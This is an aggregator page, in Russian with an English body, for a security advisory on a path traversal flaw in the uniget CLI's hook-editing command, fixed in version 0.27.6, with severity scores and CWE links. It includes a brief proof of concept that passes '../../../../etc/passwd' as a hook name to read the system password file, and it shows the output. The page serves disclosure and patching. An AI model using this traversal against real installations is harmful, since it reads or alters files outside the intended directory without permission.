Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-m6jg-wr9m-cg2f

Опубликовано: 17 авг. 2026
Источник: github
Github: Прошло ревью
CVSS4: 6.9

Описание

uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability

Summary

Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.

Details File: hooks.go Lines 135-160

hookFileName := args[0] // User input not validated hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation

Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.

PoC

Step 1: Set cat as editor

export EDITOR="cat"

Step 2: Read /etc/passwd via path traversal

./uniget hooks edit --type=pre-install "../../../../etc/passwd"

Step 3: Output shows file contents

root:x:0:0:root:/root:/bin/bash daemon:x:2:2:daemon:/sbin:/sbin/nologin [...]
image

Пакеты

Наименование

gitlab.com/uniget-org/cli

go
Затронутые версииВерсия исправления

< 0.27.6

0.27.6

EPSS

Процентиль: 3%
0.0013
Низкий

6.9 Medium

CVSS4

Дефекты

CWE-22
CWE-23
CWE-36
CWE-73

Связанные уязвимости

nvd
7 дней назад

uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go concatenates an unvalidated hook filename with the selected hooks directory, allowing parent-directory components to escape that directory. The resulting path is passed to the configured editor, which can access or modify files outside the hooks directory with the privileges of the uniget process account. This issue is fixed in version 0.27.6.

EPSS

Процентиль: 3%
0.0013
Низкий

6.9 Medium

CVSS4

Дефекты

CWE-22
CWE-23
CWE-36
CWE-73